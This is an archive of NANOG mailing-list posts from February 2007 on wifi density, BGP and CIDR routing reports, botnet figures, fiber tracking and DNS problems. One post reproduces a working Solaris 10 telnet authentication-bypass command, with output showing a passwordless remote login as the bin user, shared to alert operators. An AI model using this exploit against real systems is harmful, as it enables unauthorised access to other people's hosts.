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Re: wifi for 600, alex
by Alexander Harrowell 16 Feb '07

16 Feb '07

On 2/16/07, JAKO Andras <jako.andras(a)eik.bme.hu> wrote: Please don't forget that 802.11 uses the CSMA/CA protocol. All nodes, > including the AP and _all_ the clients should hear each others' > transmissions so that they can decide when to transmit (when the medium is > idle). Yes. But so long as they can all interfere with each other, you're still going to pay a cost in informational overhead to sort it out at a higher protocol layer, and you're still going to have the "electronic warfare in a phone box" problem at places like NANOG meetings. 3GSM is the same - even the presence of ~10,000 RF engineers doesn't prevent the dozens of contending networks.. Essentially, this is a problem that perhaps shouldn't be fixed. Having an open-slather RF design and sorting it out in meta means that WLAN is quick, cheap, and hackable. Trust me, you don't want to think about radio spectrum licensing. On the other hand, that particular "sufficiently advanced technology is indistinguishable from magic" quality about it causes problems. Intentionally limiting the clients' TX powers to the minimum needed to > communicate with the AP makes RTS/CTS almost obligatory, which may be > considered a bad thing. Once again, in the ideal situation all nodes hear > each other, at least from the CSMA/CA's point of view. > > Regards, > Andras I'm not sure that's ideal in my point of view, in so far as we're talking about a point-to-multipoint network rather than a mesh. And why would anyone ever want to use more power/create more entropy than necessary? This argument sailed around in the early days of WiMAX, when people were talking about running it in unlicensed 5.8GHz spectrum and "finally getting away from the telcos and the government", until they realised that it's not "big wi-fi" and isn't designed to cope with contending networks.. Alex

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Information about Foundry Layer 4-7 Switches
by MARLON BORBA 16 Feb '07

16 Feb '07

Fellow NANOGers, Are there in this list someone which worked with Foundry Layer 4-7 switches? Are they up with manufacturer's promises? Please shed some light on this subject, testimonials, experience. I am specially interested in Application Load Balancing solutions. Foundry's web site is at http://www.foundrynet.com/solutions/sol-app-switch/sol-app-avail/ TIA, Marlon Borba, CISSP.

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BGP Update Report
by cidr-report＠potaroo.net 16 Feb '07

16 Feb '07

BGP Update Report Interval: 02-Feb-07 -to- 15-Feb-07 (14 days) Observation Point: BGP Peering with AS4637 TOP 20 Unstable Origin AS Rank ASN Upds % Upds/Pfx AS-Name 1 - AS4134 15620 1.0% 12.3 -- CHINANET-BACKBONE No.31,Jin-rong Street 2 - AS9394 14262 0.9% 4.8 -- CRNET CHINA RAILWAY Internet(CRNET) 3 - AS17974 13915 0.9% 26.6 -- TELKOMNET-AS2-AP PT TELEKOMUNIKASI INDONESIA 4 - AS15611 13178 0.9% 149.8 -- Iranian Research Organisation 5 - AS702 11831 0.8% 16.6 -- AS702 MCI EMEA - Commercial IP service provider in Europe 6 - AS24731 10513 0.7% 250.3 -- ASN-NESMA National Engineering Services and Marketing Company Ltd. (NESMA) 7 - AS4775 10195 0.7% 39.8 -- GLOBE-TELECOM-AS Telecom Carrier / ISP Plus + 8 - AS8151 9927 0.6% 9.7 -- Uninet S.A. de C.V. 9 - AS4323 9606 0.6% 7.3 -- TWTC - Time Warner Telecom, Inc. 10 - AS24326 9217 0.6% 83.8 -- TTT-AS-AP TT&T Public Company Limited, Service Provider,Bangkok 11 - AS28751 8576 0.6% 35.6 -- CAUCASUS-NET-AS Caucasus Network Tbilisi, Georgia 12 - AS20426 7715 0.5% 1928.8 -- PWC-AS - PriceWaterhouseCoopers, LLP 13 - AS306 7515 0.5% 41.3 -- DNIC - DoD Network Information Center 14 - AS7018 7304 0.5% 4.7 -- ATT-INTERNET4 - AT&T WorldNet Services 15 - AS12654 7063 0.5% 172.3 -- RIPE-NCC-RIS-AS RIPE NCC RIS project 16 - AS9737 7041 0.5% 60.2 -- TOTNET-TH-AS-AP Telephone Organization of Thailand 17 - AS30890 7015 0.5% 32.2 -- EVOLVA Evolva Telecom 18 - AS701 6913 0.5% 7.2 -- UUNET - MCI Communications Services, Inc. d/b/a Verizon Business 19 - AS7545 6428 0.4% 11.1 -- TPG-INTERNET-AP TPG Internet Pty Ltd 20 - AS4249 6352 0.4% 45.7 -- LILLY-AS - Eli Lilly and Company TOP 20 Unstable Origin AS (Updates per announced prefix) Rank ASN Upds % Upds/Pfx AS-Name 1 - AS31594 4455 0.3% 4455.0 -- FORTESS-AS Fortess LLC Network 2 - AS20426 7715 0.5% 1928.8 -- PWC-AS - PriceWaterhouseCoopers, LLP 3 - AS15774 1830 0.1% 1830.0 -- MEDIANAT LLC "MEDIANAT", ISP primarily for educational institution 4 - AS31307 1139 0.1% 1139.0 -- YKYATIRIM YAPI KREDI YATIRIM 5 - AS38151 1032 0.1% 1032.0 -- ENUM-AS-ID APJII-RD 6 - AS4587 3028 0.2% 1009.3 -- ONEWORLD2 - One World Internetworking, Inc 7 - AS34378 955 0.1% 955.0 -- RUG-AS Razguliay-UKRROS Group 8 - AS3727 831 0.1% 831.0 -- SHRUBB - Shrubbery Networks 9 - AS14548 785 0.1% 785.0 -- LISTEN-SF-1 - Listen.com 10 - AS31624 3797 0.2% 759.4 -- VFMNL-AS Verza Facility Management BV 11 - AS30707 2081 0.1% 693.7 -- SICOR-US-CA-IRVINE - SICOR Pharmaceuticals, Inc. 12 - AS21761 661 0.0% 661.0 -- BERTS-MEGA-MALL - BERT'S MEGA MALL 13 - AS12408 654 0.0% 654.0 -- BIKENT-AS Bikent Ltd. Autonomous system 14 - AS3043 3118 0.2% 623.6 -- AMPHIB-AS - Amphibian Media Corporation 15 - AS33188 1038 0.1% 519.0 -- SCS-NETWORK-1 - Sono Corporate Suites 16 - AS11118 3478 0.2% 496.9 -- COMTECK - ComTeck 17 - AS20050 959 0.1% 479.5 -- SPPINTERNET01 - Southwest Power Pool 18 - AS35489 958 0.1% 479.0 -- TOTO-TECH-AS Toto Ltd. 19 - AS29630 478 0.0% 478.0 -- AZRENA-AS Azerbaijan Research and Educational Networking 20 - AS36893 477 0.0% 477.0 -- DURAVITEG-AS TOP 20 Unstable Prefixes Rank Prefix Upds % Origin AS -- AS Name 1 - 155.201.48.0/21 7702 0.4% AS20426 -- PWC-AS - PriceWaterhouseCoopers, LLP 2 - 194.242.124.0/22 4455 0.2% AS31594 -- FORTESS-AS Fortess LLC Network 3 - 89.4.128.0/24 3443 0.2% AS24731 -- ASN-NESMA National Engineering Services and Marketing Company Ltd. (NESMA) 4 - 89.4.129.0/24 3237 0.2% AS24731 -- ASN-NESMA National Engineering Services and Marketing Company Ltd. (NESMA) 5 - 203.177.144.0/23 3208 0.2% AS4775 -- GLOBE-TELECOM-AS Telecom Carrier / ISP Plus + 6 - 209.140.24.0/24 3061 0.1% AS3043 -- AMPHIB-AS - Amphibian Media Corporation 7 - 89.4.131.0/24 3046 0.1% AS24731 -- ASN-NESMA National Engineering Services and Marketing Company Ltd. (NESMA) 8 - 146.222.76.0/24 2709 0.1% AS9502 -- OOCL-HKG-AP Hong Kong Headquarters 9 - 216.32.206.0/24 2552 0.1% AS20473 -- AS-CHOOPA - Choopa, LLC 10 - 62.89.226.0/24 2130 0.1% AS20663 -- INAR-VOLOGDA-AS Autonomous System of Vologda 11 - 64.95.193.0/24 2060 0.1% AS30707 -- SICOR-US-CA-IRVINE - SICOR Pharmaceuticals, Inc. 12 - 62.68.143.0/24 1830 0.1% AS15774 -- MEDIANAT LLC "MEDIANAT", ISP primarily for educational institution 13 - 203.199.128.0/19 1687 0.1% AS4755 -- VSNL-AS Videsh Sanchar Nigam Ltd. Autonomous System 14 - 194.42.208.0/20 1640 0.1% AS705 -- UUNET - MCI Communications Services, Inc. d/b/a Verizon Business 15 - 216.85.83.0/24 1272 0.1% AS6467 -- ESPIRECOMM - Xspedius Communications Co. 16 - 61.0.0.0/8 1157 0.1% AS4678 -- FINE CANON NETWORK COMMUNICATIONS INC. 17 - 212.252.196.0/24 1139 0.1% AS31307 -- YKYATIRIM YAPI KREDI YATIRIM 18 - 203.119.54.0/24 1033 0.1% AS38151 -- ENUM-AS-ID APJII-RD 19 - 143.227.48.0/20 1019 0.1% AS4587 -- ONEWORLD2 - One World Internetworking, Inc 20 - 143.227.0.0/16 1016 0.1% AS4587 -- ONEWORLD2 - One World Internetworking, Inc Details at http://bgpupdates.potaroo.net ------------------------------------ Copies of this report are mailed to: nanog(a)merit.edu eof-list(a)ripe.net apops(a)apops.net routing-wg(a)ripe.net afnog(a)afnog.org ausnog(a)ausnog.net

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The Cidr Report
by cidr-report＠potaroo.net 16 Feb '07

16 Feb '07

This report has been generated at Fri Feb 16 21:46:52 2007 AEST. The report analyses the BGP Routing Table of an AS4637 (Reach) router and generates a report on aggregation potential within the table. Check http://www.cidr-report.org/as4637 for a current version of this report. Recent Table History Date Prefixes CIDR Agg 09-02-07 207532 134730 10-02-07 207587 134670 11-02-07 207535 134728 12-02-07 207502 134837 13-02-07 207542 135067 14-02-07 207922 135243 15-02-07 208070 135655 16-02-07 208954 135562 AS Summary 24276 Number of ASes in routing system 10245 Number of ASes announcing only one prefix 1485 Largest number of prefixes announced by an AS AS7018 : ATT-INTERNET4 - AT&T WorldNet Services 90478336 Largest address span announced by an AS (/32s) AS721 : DISA-ASNBLK - DoD Network Information Center Aggregation Summary The algorithm used in this report proposes aggregation only when there is a precise match using the AS path, so as to preserve traffic transit policies. Aggregation is also proposed across non-advertised address space ('holes'). --- 16Feb07 --- ASnum NetsNow NetsAggr NetGain % Gain Description Table 209067 135643 73424 35.1% All ASes AS18566 990 28 962 97.2% COVAD - Covad Communications Co. AS4134 1242 309 933 75.1% CHINANET-BACKBONE No.31,Jin-rong Street AS4755 1063 190 873 82.1% VSNL-AS Videsh Sanchar Nigam Ltd. Autonomous System AS9498 955 140 815 85.3% BBIL-AP BHARTI BT INTERNET LTD. AS4323 1293 512 781 60.4% TWTC - Time Warner Telecom, Inc. AS6478 1130 400 730 64.6% ATT-INTERNET3 - AT&T WorldNet Services AS22773 725 47 678 93.5% CCINET-2 - Cox Communications Inc. AS11492 959 342 617 64.3% CABLEONE - CABLE ONE AS17488 598 54 544 91.0% HATHWAY-NET-AP Hathway IP Over Cable Internet AS8151 1018 483 535 52.6% Uninet S.A. de C.V. AS19262 711 179 532 74.8% VZGNI-TRANSIT - Verizon Internet Services Inc. AS6197 1016 506 510 50.2% BATI-ATL - BellSouth Network Solutions, Inc AS7018 1485 980 505 34.0% ATT-INTERNET4 - AT&T WorldNet Services AS19916 568 71 497 87.5% ASTRUM-0001 - OLM LLC AS18101 521 33 488 93.7% RIL-IDC Reliance Infocom Ltd Internet Data Centre, AS17676 502 65 437 87.1% JPNIC-JP-ASN-BLOCK Japan Network Information Center AS4812 492 74 418 85.0% CHINANET-SH-AP China Telecom (Group) AS15270 504 87 417 82.7% AS-PAETEC-NET - PaeTec.net -a division of PaeTecCommunications, Inc. AS4766 727 315 412 56.7% KIXS-AS-KR Korea Telecom AS2386 1108 736 372 33.6% INS-AS - AT&T Data Communications Services AS721 635 276 359 56.5% DISA-ASNBLK - DoD Network Information Center AS3602 526 187 339 64.4% AS3602-RTI - Rogers Telecom Inc. AS16852 393 70 323 82.2% BROADWING-FOCAL - Broadwing Communications Services, Inc. AS7011 786 475 311 39.6% FRONTIER-AND-CITIZENS - Frontier Communications, Inc. AS33588 432 127 305 70.6% BRESNAN-AS - Bresnan Communications, LLC. AS6198 556 266 290 52.2% BATI-MIA - BellSouth Network Solutions, Inc AS6517 405 120 285 70.4% YIPESCOM - Yipes Communications, Inc. AS7029 509 224 285 56.0% WINDSTREAM - Windstream Communications Inc AS855 566 287 279 49.3% CANET-ASN-4 - Bell Aliant AS14654 303 31 272 89.8% WAYPORT - Wayport Total 22718 7614 15104 66.5% Top 30 total Possible Bogus Routes 24.246.0.0/17 AS7018 ATT-INTERNET4 - AT&T WorldNet Services 24.246.128.0/18 AS7018 ATT-INTERNET4 - AT&T WorldNet Services 42.205.192.0/20 AS36925 ASMedi 60.253.0.0/18 AS27572 THEBOE-27572 - The Boeing Company 60.253.64.0/19 AS27572 THEBOE-27572 - The Boeing Company 61.4.64.0/20 AS9929 CNCNET-CN China Netcom Corp. 63.248.0.0/16 AS3356 LEVEL3 Level 3 Communications 63.248.0.0/17 AS3356 LEVEL3 Level 3 Communications 64.7.112.0/21 AS13511 ITXC - ITXC 64.7.120.0/21 AS13537 ITXC-2 - ITXC 64.7.240.0/20 AS3602 AS3602-RTI - Rogers Telecom Inc. 64.17.32.0/24 AS13488 CBWU-13488 - Continental Broadband Florida, Inc DBA WebUnited 64.17.33.0/24 AS13488 CBWU-13488 - Continental Broadband Florida, Inc DBA WebUnited 64.17.37.0/24 AS13488 CBWU-13488 - Continental Broadband Florida, Inc DBA WebUnited 64.44.0.0/16 AS26483 IPOUTLET-LLC - IPOutlet LLC 64.44.32.0/20 AS32192 INSTANTWORKPLACE - MJS Holdings, Inc. 64.44.48.0/20 AS26483 IPOUTLET-LLC - IPOutlet LLC 64.44.152.0/24 AS32192 INSTANTWORKPLACE - MJS Holdings, Inc. 64.44.153.0/24 AS32192 INSTANTWORKPLACE - MJS Holdings, Inc. 64.44.188.0/24 AS32192 INSTANTWORKPLACE - MJS Holdings, Inc. 64.44.189.0/24 AS32192 INSTANTWORKPLACE - MJS Holdings, Inc. 64.46.96.0/20 AS13680 AS13680 Hostway Corporation Tampa, FL 64.46.112.0/20 AS30217 DESYNC Desync Corporation 64.79.64.0/19 AS10789 BIGNET-AS - The Bignet 64.79.86.0/24 AS10789 BIGNET-AS - The Bignet 64.79.87.0/24 AS10789 BIGNET-AS - The Bignet 64.79.88.0/24 AS10789 BIGNET-AS - The Bignet 64.79.89.0/24 AS10789 BIGNET-AS - The Bignet 64.79.90.0/24 AS10789 BIGNET-AS - The Bignet 64.79.96.0/20 AS10789 BIGNET-AS - The Bignet 64.89.224.0/24 AS15276 MAX-LV - Intuitive Logic 64.89.225.0/24 AS15276 MAX-LV - Intuitive Logic 64.89.226.0/24 AS15276 MAX-LV - Intuitive Logic 64.89.232.0/24 AS15276 MAX-LV - Intuitive Logic 64.89.239.0/24 AS15276 MAX-LV - Intuitive Logic 64.112.85.0/24 AS32192 INSTANTWORKPLACE - MJS Holdings, Inc. 64.112.86.0/24 AS32192 INSTANTWORKPLACE - MJS Holdings, Inc. 64.112.87.0/24 AS32192 INSTANTWORKPLACE - MJS Holdings, Inc. 64.112.88.0/24 AS32192 INSTANTWORKPLACE - MJS Holdings, Inc. 64.112.89.0/24 AS32192 INSTANTWORKPLACE - MJS Holdings, Inc. 64.112.90.0/24 AS32192 INSTANTWORKPLACE - MJS Holdings, Inc. 64.112.91.0/24 AS32192 INSTANTWORKPLACE - MJS Holdings, Inc. 64.112.92.0/24 AS32192 INSTANTWORKPLACE - MJS Holdings, Inc. 64.112.93.0/24 AS32192 INSTANTWORKPLACE - MJS Holdings, Inc. 64.112.94.0/24 AS32192 INSTANTWORKPLACE - MJS Holdings, Inc. 64.112.95.0/24 AS32192 INSTANTWORKPLACE - MJS Holdings, Inc. 64.112.96.0/24 AS32192 INSTANTWORKPLACE - MJS Holdings, Inc. 64.112.97.0/24 AS32192 INSTANTWORKPLACE - MJS Holdings, Inc. 64.112.98.0/24 AS32192 INSTANTWORKPLACE - MJS Holdings, Inc. 64.112.99.0/24 AS32192 INSTANTWORKPLACE - MJS Holdings, Inc. 64.112.100.0/24 AS32192 INSTANTWORKPLACE - MJS Holdings, Inc. 64.112.101.0/24 AS32192 INSTANTWORKPLACE - MJS Holdings, Inc. 64.112.102.0/24 AS32192 INSTANTWORKPLACE - MJS Holdings, Inc. 64.112.103.0/24 AS32192 INSTANTWORKPLACE - MJS Holdings, Inc. 64.112.104.0/24 AS32192 INSTANTWORKPLACE - MJS Holdings, Inc. 64.112.105.0/24 AS32192 INSTANTWORKPLACE - MJS Holdings, Inc. 64.112.106.0/24 AS32192 INSTANTWORKPLACE - MJS Holdings, Inc. 64.112.107.0/24 AS32192 INSTANTWORKPLACE - MJS Holdings, Inc. 64.112.108.0/24 AS32192 INSTANTWORKPLACE - MJS Holdings, Inc. 64.112.109.0/24 AS32192 INSTANTWORKPLACE - MJS Holdings, Inc. 64.112.110.0/24 AS32192 INSTANTWORKPLACE - MJS Holdings, Inc. 64.112.111.0/24 AS32192 INSTANTWORKPLACE - MJS Holdings, Inc. 64.112.112.0/24 AS32192 INSTANTWORKPLACE - MJS Holdings, Inc. 64.112.113.0/24 AS32192 INSTANTWORKPLACE - MJS Holdings, Inc. 64.112.114.0/24 AS32192 INSTANTWORKPLACE - MJS Holdings, Inc. 64.112.115.0/24 AS32192 INSTANTWORKPLACE - MJS Holdings, Inc. 64.112.116.0/24 AS32192 INSTANTWORKPLACE - MJS Holdings, Inc. 64.112.117.0/24 AS32192 INSTANTWORKPLACE - MJS Holdings, Inc. 64.112.118.0/24 AS32192 INSTANTWORKPLACE - MJS Holdings, Inc. 64.112.119.0/24 AS32192 INSTANTWORKPLACE - MJS Holdings, Inc. 64.112.120.0/24 AS32192 INSTANTWORKPLACE - MJS Holdings, Inc. 64.112.121.0/24 AS32192 INSTANTWORKPLACE - MJS Holdings, Inc. 64.112.122.0/24 AS32192 INSTANTWORKPLACE - MJS Holdings, Inc. 64.112.123.0/24 AS32192 INSTANTWORKPLACE - MJS Holdings, Inc. 64.112.124.0/24 AS32192 INSTANTWORKPLACE - MJS Holdings, Inc. 64.112.125.0/24 AS32192 INSTANTWORKPLACE - MJS Holdings, Inc. 64.112.126.0/24 AS32192 INSTANTWORKPLACE - MJS Holdings, Inc. 64.112.127.0/24 AS32192 INSTANTWORKPLACE - MJS Holdings, Inc. 64.112.128.0/24 AS32192 INSTANTWORKPLACE - MJS Holdings, Inc. 64.112.129.0/24 AS32192 INSTANTWORKPLACE - MJS Holdings, Inc. 64.112.130.0/24 AS32192 INSTANTWORKPLACE - MJS Holdings, Inc. 64.112.131.0/24 AS32192 INSTANTWORKPLACE - MJS Holdings, Inc. 64.112.132.0/24 AS32192 INSTANTWORKPLACE - MJS Holdings, Inc. 64.112.133.0/24 AS32192 INSTANTWORKPLACE - MJS Holdings, Inc. 64.112.134.0/24 AS32192 INSTANTWORKPLACE - MJS Holdings, Inc. 64.112.135.0/24 AS32192 INSTANTWORKPLACE - MJS Holdings, Inc. 64.112.136.0/24 AS32192 INSTANTWORKPLACE - MJS Holdings, Inc. 64.112.137.0/24 AS32192 INSTANTWORKPLACE - MJS Holdings, Inc. 64.112.138.0/24 AS32192 INSTANTWORKPLACE - MJS Holdings, Inc. 64.112.139.0/24 AS32192 INSTANTWORKPLACE - MJS Holdings, Inc. 64.112.140.0/24 AS32192 INSTANTWORKPLACE - MJS Holdings, Inc. 64.112.141.0/24 AS32192 INSTANTWORKPLACE - MJS Holdings, Inc. 64.112.142.0/24 AS32192 INSTANTWORKPLACE - MJS Holdings, Inc. 64.112.143.0/24 AS32192 INSTANTWORKPLACE - MJS Holdings, Inc. 64.112.144.0/24 AS32192 INSTANTWORKPLACE - MJS Holdings, Inc. 64.112.145.0/24 AS32192 INSTANTWORKPLACE - MJS Holdings, Inc. 64.112.146.0/24 AS32192 INSTANTWORKPLACE - MJS Holdings, Inc. 64.112.147.0/24 AS32192 INSTANTWORKPLACE - MJS Holdings, Inc. 64.112.148.0/24 AS32192 INSTANTWORKPLACE - MJS Holdings, Inc. 64.112.149.0/24 AS32192 INSTANTWORKPLACE - MJS Holdings, Inc. 64.112.152.0/24 AS32192 INSTANTWORKPLACE - MJS Holdings, Inc. 64.112.153.0/24 AS32192 INSTANTWORKPLACE - MJS Holdings, Inc. 64.112.154.0/24 AS32192 INSTANTWORKPLACE - MJS Holdings, Inc. 64.112.155.0/24 AS32192 INSTANTWORKPLACE - MJS Holdings, Inc. 64.112.156.0/24 AS32192 INSTANTWORKPLACE - MJS Holdings, Inc. 64.112.160.0/22 AS32192 INSTANTWORKPLACE - MJS Holdings, Inc. 64.112.160.0/24 AS32192 INSTANTWORKPLACE - MJS Holdings, Inc. 64.112.164.0/24 AS32192 INSTANTWORKPLACE - MJS Holdings, Inc. 64.112.165.0/24 AS32192 INSTANTWORKPLACE - MJS Holdings, Inc. 64.112.166.0/24 AS32192 INSTANTWORKPLACE - MJS Holdings, Inc. 64.112.171.0/24 AS32192 INSTANTWORKPLACE - MJS Holdings, Inc. 64.112.174.0/24 AS32192 INSTANTWORKPLACE - MJS Holdings, Inc. 64.112.182.0/24 AS32192 INSTANTWORKPLACE - MJS Holdings, Inc. 64.112.183.0/24 AS32192 INSTANTWORKPLACE - MJS Holdings, Inc. 64.112.187.0/24 AS26483 IPOUTLET-LLC - IPOutlet LLC 64.112.188.0/24 AS26483 IPOUTLET-LLC - IPOutlet LLC 64.112.189.0/24 AS32192 INSTANTWORKPLACE - MJS Holdings, Inc. 64.112.190.0/24 AS32192 INSTANTWORKPLACE - MJS Holdings, Inc. 64.112.191.0/24 AS32192 INSTANTWORKPLACE - MJS Holdings, Inc. 64.188.0.0/16 AS3356 LEVEL3 Level 3 Communications 64.250.128.0/18 AS10789 BIGNET-AS - The Bignet 65.60.45.0/24 AS32311 JKS-ASN - JKS Media, LLC 66.11.32.0/20 AS6261 VISINET - Visionary Systems, Inc. 66.37.96.0/20 AS3764 IA-HOU-AS - Internet America, Inc. 66.54.91.0/24 AS30506 BLACKSUN-1 - Blacksun Technologies LLC 66.55.160.0/19 AS29994 ISKIMARO - Iskimaro 66.55.160.0/24 AS29994 ISKIMARO - Iskimaro 66.55.176.0/24 AS29994 ISKIMARO - Iskimaro 66.64.96.0/20 AS3790 RADIGRAFICA COSTARRICENSE 66.97.32.0/20 AS11305 INTERLAND-NET1 - Interland Incorporated 66.163.96.0/20 AS25767 WAVEFORM - Waveform Technology, LLC 66.180.239.0/24 AS35888 VIGNETTE - VIGNETTE CORPORATION 66.235.158.0/23 AS7018 ATT-INTERNET4 - AT&T WorldNet Services 66.241.96.0/21 AS10271 TCIX - Troy City Internet Exchange, Inc 69.36.192.0/20 AS29804 INTEGRATIX - Integratix Inc. 69.55.108.0/24 AS4977 NET1 - Pecos Technologies 72.9.128.0/20 AS27572 THEBOE-27572 - The Boeing Company 77.76.128.0/18 AS29448 OPTILINK Optilink ASN 77.76.192.0/18 AS8823 AUTONOMOUSSYSTEMROCKENSTEINAG ROCKENSTEIN AS - rockenstein AG 77.238.96.0/19 AS39482 ZAOPROXY-AS JSC "Proxy" 79.192.0.0/16 AS12654 RIPE-NCC-RIS-AS RIPE NCC RIS project 79.255.248.0/21 AS12654 RIPE-NCC-RIS-AS RIPE NCC RIS project 123.0.0.0/8 AS7643 VNN-AS-AP Vietnam Posts and Telecommunications (VNPT) 128.209.0.0/16 AS4017 BELLST - Bell Atlantic Science & Technology 131.64.0.0/12 AS721 DISA-ASNBLK - DoD Network Information Center 132.0.0.0/10 AS721 DISA-ASNBLK - DoD Network Information Center 137.0.0.0/13 AS721 DISA-ASNBLK - DoD Network Information Center 138.136.0.0/13 AS721 DISA-ASNBLK - DoD Network Information Center 139.56.0.0/19 AS14956 BROADVISION-ASN - Broadvision Inc. 139.56.72.0/23 AS702 AS702 MCI EMEA - Commercial IP service provider in Europe 151.135.0.0/16 AS4763 TELSTRANZ-AS TelstraClear Ltd 158.0.0.0/13 AS721 DISA-ASNBLK - DoD Network Information Center 159.3.211.0/24 AS2687 ASATTCA AT&T Global Network Services - AP 159.220.0.0/22 AS16050 REUTERS-DOCKLANDS-RES-AS Reuters Docklands resiliancy 159.220.4.0/22 AS16050 REUTERS-DOCKLANDS-RES-AS Reuters Docklands resiliancy 159.220.4.0/24 AS16050 REUTERS-DOCKLANDS-RES-AS Reuters Docklands resiliancy 159.220.8.0/22 AS35528 REUTERS-UK2-AS Reuters-UK2 159.220.40.0/24 AS1787 REUTERS-AMERICA-ISP-CELL-AS - Reuters America Inc. 159.220.41.0/24 AS1787 REUTERS-AMERICA-ISP-CELL-AS - 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The Root of The Problem [Was: Re: botnets: web servers, end-systems an d Vint Cerf]
by Fergie 16 Feb '07

16 Feb '07

-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Well, I'm going to add my $.02 here, too, and I don't care who likes it or not. :-) I know Vint, and I've known Vint for a long time. He's a smart guy. And he's right. Why is he right? Because he got in front of the folks who actually _can_ manage this problem, and that is the people (actually the NGOs) who have the monetary and fiduciary duty to begin looking at problems at the financial loss level. If you think that these problems are going to solely resolved on a technical basis, you're delusional. Rock on, Vint. - - ferg - -- Gadi Evron <ge(a)linuxbox.org> wrote: On Thu, 15 Feb 2007, Peter Moody wrote: > > I kept quiet on this for a while, but honestly, I appreciate Vint Cerf > > mentioning this where he did, and raising awareness among people who > > can potentially help us solve the problem of the Internet. > > > > Still, although I kept quiet for a while, us so-called "botnet > > experts" gotta ask: where does he get his numbers? I would appreciate > > some backing up to these or I'd be forced to call him up on his > > statement. > > > > My belief is that it is much worse. I am capable of proving only > > somewhat worse. His numbers are still staggering so.. where why when > > how what? (not necessarily in that order). > > > > So, data please Vint/Google. > > > > Dr. Cerf wasn't speaking for Google when he said this, so I'm not sure > why Okay, thansk for clarifying that. :) > you're looking that direction for answers. But since you ask, his data > came from informal conversations with A/V companies and folks actually in > the Interesting. > trenches of dealing with botnet ddos mitigation. The numbers weren't > taken Botnet trenches? Yes, I suppose the analogy to World War I is correct. I should know, I was there (metaphorically speaking). My guess is, if we are to follow this analogy, we are now just before the invention of the tank now in 2007, but oh well. > from any sort of scientific study, and they were in fact mis-quoted (he > said more like 10%-20%). Interesting. <snip poison> <snip more poison> > (my opinions != my employer's, etc. etc.) > Many thanks, > Cheers, > .peter Gadi. -----BEGIN PGP SIGNATURE----- Version: PGP Desktop 9.5.3 (Build 5003) wj8DBQFF1UQFq1pz9mNUZTMRApjPAKDmKCfWqAbn6k8Qpks+hNlHrpqLQQCg6axq YQaCMxuU8co3TawE6nsOWaw= =OYij -----END PGP SIGNATURE----- -- "Fergie", a.k.a. Paul Ferguson Engineering Architecture for the Internet fergdawg(at)netzero.net ferg's tech blog: http://fergdawg.blogspot.com/

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tracking fiber assets
by Daniel J McDonald 15 Feb '07

15 Feb '07

What do people use to keep track of fiber-optic assets? We own fiber on electric transmission lines - a hundred spans or so, mostly 24-48 count, about 800-900 total route-miles. But we lack a tool to keep track of what is in use, which customers would be affected when we perform maintenance, and the like. Any suggestions for good tools to manage this would be most appreciated. Our spreadsheets, CAD drawings, and directories full of OTDR shots are just not cutting it. -- Daniel J McDonald, CCIE # 2495, CISSP # 78281, CNX Austin Energy http://www.austinenergy.com

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Solaris 10 Telnet Exploit
by William Schultz 15 Feb '07

15 Feb '07

http://erratasec.blogspot.com/2007/02/trivial-remote-solaris-0day- disable.html Tested on Sol10, and it indeed works... Good thing we use SSH, right?! ################################ iWil:~ wschultz$ telnet -l "-fbin" dns1 Trying A.B.C.D... Connected to dns1.my.com. Escape character is '^]'. Last login: Sun Feb 11 18:11:05 from A.B.C.D Sun Microsystems Inc. SunOS 5.10 Generic January 2005 $ id uid=2(bin) gid=2(bin) $ ################################

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Paging ATT.com DNS master
by David Ulevitch 15 Feb '07

15 Feb '07

You broke the zone for ATT.com. That's probably not good. -david $ dig @ns3.attdns.com att.com ; <<>> DiG 9.2.2 <<>> @ns3.attdns.com att.com ;; global options: printcmd ;; Got answer: ;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 940 ;; flags: qr aa rd; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 0 ;; QUESTION SECTION: ;att.com. IN A ;; Query time: 75 msec ;; SERVER: 144.160.20.47#53(ns3.attdns.com) ;; WHEN: Thu Feb 15 08:54:58 2007 ;; MSG SIZE rcvd: 25

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Re: DNS: Definitely Not Safe?
by MARLON BORBA 15 Feb '07

15 Feb '07

mea culpa, mea maxima culpa :-( my intention, when suggested that reading, was to get your attention about that recent attack which targeted DNS top-level servers and to listen your opinions. i promise not to post porn, ops, FUD material to nanog again. Abraços, Marlon Borba, CISSP, DataCenter Associate Técnico Judiciário - Segurança da Informação TRF 3ª Região (11) 3012-1683 -- 1997-2007 - Dez Anos da DSUP. Conhecimento Gerando Soluções. -- >>> Paul Vixie <vixie(a)vix.com> 14/2/2007 15:01:09 >>> bortzmeyer(a)nic.fr (Stephane Bortzmeyer) writes: > It may be on-topic but it is full of FUD, mistakes and blatant > b...t. Certainly not the recommended reading for the sysadmin. i think you're being way to kind here. > The best stupid sentence is the one asking firewalls in front of the > DNS servers... to prevent tunneling data over DNS! just as the most common lie told by spammers is "dear friend", so it is that the biggest error in this piece is in the first sentence: When it comes to the Web's domain name system (DNS), this guy was probably writing netware-vs-smb comparisons during the two decades that the internet existed before the web came along. the web is an internet application, and the dns is part of the internet, not part of the web. the rest of the article is equally horrific in its maltreatment and ignorance of facts. -- Paul Vixie

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Re: wifi for 600, alex
by Marshall Eubanks 15 Feb '07

15 Feb '07

The IETF experience is that enough people run 802.11a to take significant load off of the {b,g} network. Marshall On Feb 15, 2007, at 9:45 AM, Pickett, McLean (OCTO) wrote: > > > Works well if everyone has 802.11a/g card. That's been my biggest > concern > with deploying 802.11a recently. > > McLean > > -----Original Message----- > From: owner-nanog(a)merit.edu [mailto:owner-nanog@merit.edu] On > Behalf Of Todd > Vierling > Sent: Thursday, February 15, 2007 12:02 AM > To: Suresh Ramasubramanian > Cc: Marshall Eubanks; Carl Karsten; NANOG > Subject: Re: wifi for 600, alex > > > On 2/14/07, Suresh Ramasubramanian <ops.lists(a)gmail.com> wrote: >> 4. Isolate the wireless network from the main conference network / >> backbone so that critical stuff (streaming content for workshop and >> other presentations, the rego system etc) gets bandwidth allocated to >> it just fine, without it being eaten up by hungry laptops. > > The oft-overlooked 802.11a is great for this purpose when there isn't > enough wiring infrastructure to drop a RJ45 in all the necessary > conference rooms. Whereas 802.11[bgn] has only three (or four, > depending on who you quote) mostly non-overlapping frequencies -- even > less when MIMO is in use -- 802.11a has eight *completely* > non-overlapping standard channels. In nice open conference hall space > with at most two walls in the way, the rated shorter range of 11a is > actually not so noticeable because of the lack of radio noise. > > 2.4GHz is soooooo last decade. ;) > > (The 802.11[bgn] density where I live is so high that I 